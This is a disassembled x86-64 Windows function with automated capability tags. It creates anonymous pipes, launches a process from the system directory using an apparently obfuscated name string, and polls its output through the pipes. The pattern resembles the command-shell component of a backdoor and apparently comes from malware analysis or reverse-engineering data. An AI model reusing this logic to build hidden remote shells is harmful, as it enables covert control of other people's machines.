Function at 0x180027a60
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create thread
Create two anonymous pipes
Get common file path
Read file on windows
Read pipe

Disassembly:
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x5010]
mov eax, 0x5110
call fcn.18003a910
sub rsp, rax
mov rax, qword [0x18005d0e0]
xor rax, rsp
mov qword [rbp + 0x5000], rax
mov rsi, rcx
mov rcx, qword [rcx]
xor r15d, r15d
or edx, 0xffffffff
mov r14d, r15d
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call fcn.1800278a0
lea r8, [rsp + 0x60]
lea rdx, [rsi + 0x10]
lea rcx, [rsi + 8]
xor r9d, r9d
mov dword [rsp + 0x60], 0x18
mov qword [rsp + 0x68], r15
mov dword [rsp + 0x70], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x180027aef
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_SetEvent]
xor eax, eax
jmp 0x180027d3f
lea rdx, [rsi + 0x20]
lea r8, [rsp + 0x60]
lea rcx, [rsi + 0x18]
xor r9d, r9d
mov qword [rsp + 0x5148], rbx
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x180027b3d
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsi + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsi]
mov qword [rsi + 0x10], r15
mov qword [rsi + 8], r15
call qword [sym.imp.KERNEL32.dll_SetEvent]
xor eax, eax
jmp 0x180027d37
xor edx, edx
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x5150], r13
lea r8d, [rdx + 0x68]
call fcn.1800334b0
mov rax, qword [rsi + 0x18]
lea rcx, [rbp - 0xf]
mov qword [rbp - 0x30], rax
mov rax, qword [rsi + 0x10]
xor edx, edx
mov r8d, 0x27ff
mov dword [rbp - 0x44], 0x101
mov word [rbp - 0x40], r15w
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x28], rax
mov byte [rbp - 0x10], r14b
call fcn.1800334b0
lea rcx, [rbp - 0x10]
mov edx, 0x2800
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rdx, str.Wg8SQ1JZ7rDaXMBo5UerWT0aO_KreyCP
lea rcx, [rsp + 0x78]
call fcn.180001580
lea rcx, [rsp + 0x58]
mov rdx, rax
call fcn.18002b2c0
mov rbx, qword [rsp + 0x58]
or r13, 0xffffffffffffffff
xor eax, eax
lea rdi, [rbp - 0x10]
mov rcx, r13
repne scasb al, byte [rdi]
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rbx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x180027bd0
lea rax, [rsi + 0x28]
lea rcx, [rbp - 0x10]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
xor edx, edx
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x180027c2b
mov rcx, rsi
call fcn.1800278a0
jmp 0x180027d08
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsi + 8]
lea r9, [rsp + 0x50]
lea rdx, [rbp + 0x27f0]
mov r8d, 0x2800
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [rsp + 0x50], r14d
je 0x180027cca
nop word [rax + rax]
mov rcx, qword [rsi + 8]
lea r9, [rsp + 0x50]
lea rdx, [rbp + 0x27f0]
mov r8d, 0x2800
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [rsp + 0x50]
mov rcx, qword [rsi + 8]
mov byte [rbp + rdx + 0x27f0], r14b
lea r9, [rsp + 0x50]
lea rdx, [rbp + 0x27f0]
mov r8d, 0x2800
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [rsp + 0x50], r14d
jne 0x180027c70
mov dword [rsi + 0x40], 1
mov r14d, 1
cmp dword [rsi + 0x50], r15d
jne 0x180027d08
lea r8, [0x180027ef0]
mov r9, rsi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r15
mov dword [rsi + 0x50], r14d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_SetEvent]
lea rdx, [rbx - 0x18]
lock xadd dword [rdx + 0x10], r13d
dec r13d
test r13d, r13d
mov r13, qword [rsp + 0x5150]
jg 0x180027d34
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov eax, r14d
mov rbx, qword [rsp + 0x5148]
mov rcx, qword [rbp + 0x5000]
xor rcx, rsp
call fcn.18002f950
mov rsi, qword [rsp + 0x5158]
add rsp, 0x5110
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret